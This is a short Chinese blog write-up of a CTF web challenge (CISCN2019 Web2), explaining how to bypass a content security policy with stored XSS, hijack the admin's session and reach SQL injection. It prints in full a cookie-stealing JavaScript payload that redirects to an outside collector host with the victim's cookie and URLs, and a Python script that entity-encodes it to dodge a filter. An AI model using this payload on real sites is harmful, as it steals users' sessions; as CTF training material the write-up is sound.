CTF Web安全

[CISCN2019 华东北赛区]Web2(XSS绕过及CSP)

Posted on 2020-03-09,3 min read

注册登陆就不说了。还有两个功能。一个是发表文章。还有一个是输入URL。管理员会访问

在我们发布文章的地址。有CSP

<meta http-equiv="content-security-policy" content="default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'"><meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

可以使用URL跳转来绕过。随便输入一段XSS代码。发现过滤了等于号
用HTML_Mark编码
先构造payload吧。

(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=3BcQlW&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();

和XSS平台的有些不一样。这里用window.localtion.href代替new image。自动刷新就会执行js代码
最后HTML_Mark编码下
用了下赵师傅的脚本

s="(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=3BcQlW&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();"
output=""
for c in s:
    output+="&#"+str(ord(c))
print "<svg><script>eval&#40&#34"+output+"&#34&#41</script>"

在URL处。填写刚刚发布的webURL。

这个URL。不能出现-。短链接。URL编码都没能绕过。
未解之谜。我的URL是http://a4bc6180-66d3-4d36-9f3f-9c09b91ca13f.node3.buuoj.cn/commitbug.php却用http://web.node1.buuoj.cn/post/462db5fb906b1b3ee96fc06d4fc2156a.html收到了请求?

替换phpsessid后。进入admin.php。sql回显注入。

下一篇: 2020/3/9日常刷题~~~~~→